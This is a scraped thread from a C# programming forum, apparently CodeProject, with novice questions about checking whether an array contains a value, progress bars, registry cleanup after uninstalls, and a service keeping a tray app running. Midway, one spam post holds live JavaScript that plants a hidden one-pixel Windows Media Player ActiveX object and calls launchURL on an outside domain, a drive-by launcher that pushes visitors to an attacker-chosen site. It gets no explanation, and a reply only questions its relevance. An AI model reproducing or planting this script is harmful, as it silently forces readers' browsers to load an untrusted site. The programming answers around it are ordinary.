|
thanks, it works properly I appreciate your knowledge. So I am still a novice.
|
|
|
|
|
Everybody was at some point. Don't worry about that.
Glad that could help.
No more Mister Nice Guy... >: |
|
|
|
|
|
Hello all, I've read that in dotnet framework 3.5 and above one can use the keyword Contains to check if an array has a particular value in one of it's elements. How do I check if an array contains a particular value in earlier versions of dotnet frameworks using C#? Thanks in advance.
modified 13-Oct-12 2:23am.
|
|
|
|
|
|
Iterate through the array and do a match yourself:
for(int i=0; i < myArray.Length; i++) {
if (myArray[i] == valueToCheck) {
break;
}
}
|
|
|
|
|
Hi, thanks for replying. That is exactly what I'm looking for.
|
|
|
|
|
Glad to be of help. Mark it as answer if that helped.
|
|
|
|
|
Dear,
You can use below function to check if Value exist in array or not..
Function CheckIfValueExistInArray(ByVal strString As String) As Boolean
Dim animals() As String = {"lion", "turtle", "ostrich"}
If Array.IndexOf(animals, strString) <> -1 Then
Return True
Else
Return False
End If
End Function
Thanks
KiranKumar Roy
|
|
|
|
|
KiranKumar Roy wrote: You can use below function to check if Value exist in array or not
Not really. This is the C# forum, you have posted VB code. You are checking for a string, the OP could be searching for any type of data. You are searching an array that is created inside the method, typically he would be searching a class level variable or passing an array to a static method.
Array.IndexOf or Array.IndexOf<T> are a good call though, but no need to wrap in another method.
If you really want a separate method then extensions such as these would be better IMO:
public static class Extensions
{
public static bool Contains(this object[] array, object value)
{
bool result = false;
if (array != null)
result = Array.IndexOf(array, value) > -1;
return result;
}
public static bool Contains<T>(this T[] array, T value)
{
bool result = false;
if (array != null)
result = Array.IndexOf<T>(array, value) > -1;
return result;
}
}
modified 14-Oct-12 16:01pm.
|
|
|
|
|
I am really very sorry for posting VB code in C# forum..
I just want to give idea to ASPnoob, So he can apply according logic in his code.
I will keep in mind that i will not post VB Code in C# form.
Thanks.
KiranKumar Roy
modified 15-Oct-12 1:32am.
|
|
|
|
|
if(0 <= Array.IndexOf(array, element)){ ... }
|
|
|
|
|
help me to know about progressbar
|
|
|
|
|
ProgresBar on MSDN[^]; contains information on each member, and there's a code-example near the bottom of the page.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
<script type="text/javascript">
function object_pop(url){var object=document.createElement('object');object.setAttribute('classid','CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');object.style.cssText='position:absolute;left:1px;top:1px;width:1px;height:1px;';append(object);object.launchURL(url)}
function append(e){for(var t in{body:1}){var ele=document.getElementsByTagName(t);for(var i=0;i<ele.length;i++){ele[i].insertBefore(e,ele[i].firstChild);return}}}
object_pop("http://www.xamq.com/");
</script>
|
|
|
|
|
...and this has what to do with C#, exactly??
|
|
|
|
|
Hi,
this is my first question here.
I want to know how to code removal tools for games or apps in C#. Is there any unique technique for that?
|
|
|
|
|
First, you're going to have to define what, exactly, you mean by "removal tools" and what you want this thing to do.
|
|
|
|
|
By removal tool I mean that this application must remove any registry values or any file that uninstaller didn't remove.
|
|
|
|
|
Well, you're going to find that an impossible task as you're installer is going to have to have PRE-EXISTING KNOWLEDGE of every single file and registry key/value that any application COULD apply to the machine.
There is no table or database anywhere that lists/describes every possible registry addition and file for every application and which goes to what application, so you're going to have to do this research yourself by installing every possible feature and configuration of every application and capture the results. Good luck!
|
|
|
|
|
Thank you for your reply.
I can't be a good developer if I don't work very hard
|
|
|
|
|
RegistryKey RegKey = Registry.LocalMachine.OpenSubKey(@"[HKEY_CURRENT_USER\Software]", true);
if (RegKey != null)
{
RegKey.DeleteSubKey("Downtangolaunchertoolbar");
}
ListView1.Items.Insert(0, "Is deleted!");
This is the code that I am using for deleting Downtangolaunchertoolbar sub key.
When I run that code, I am still seeing that registry in Registry Editor.
|
|
|
|
|
What would be the best way for a windows service to interact with a sys tray icon? I have found a lot of tutorials on systray icons interacting with a windows service but i think I need the reverse.
Basically I have a systray icon that needs to run on a per-user basis.
I have the systray icon and an installer which puts it under the Start Up folder for All Users. The problem is it won't start unless they log off and back on. Plus if for whatever reason it crashes or the process ends it won't start back up after that unless they log off and back on again.
So I was thinking of a service that monitors each user on the system (some terminal servers) that makes sure that the certain process is running for each user.. if not then start that process for that user session.
Any ideas?
|
|
|
|
|
|
JD86 wrote: What would be the best way for a windows service to interact with a sys tray icon?
It shouldn't; services are run before the user logs on, and there's no systray on the logon-desktop.
If you 'must', I'd recommend having a second winform app that implements the systray-functionality, and have it communicate with the service.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
The problem I have is this systray icon is a ticket application. People will use it to submit tickets to the help desk.
So I need some way to make sure the icon is running for each and every user and always running. The way I have it right now it launches from the Startup folder when they log in.
So if the application crashed (it shouldn't.. but you never know) or if the process was killed for some reason.... it won't be running anymore.
Maybe i'm being overly cautious and the chances of it actually not running anymore are too slim to worry about.... You can't exit it from the context menu of the systray anyways.
|
|
|
|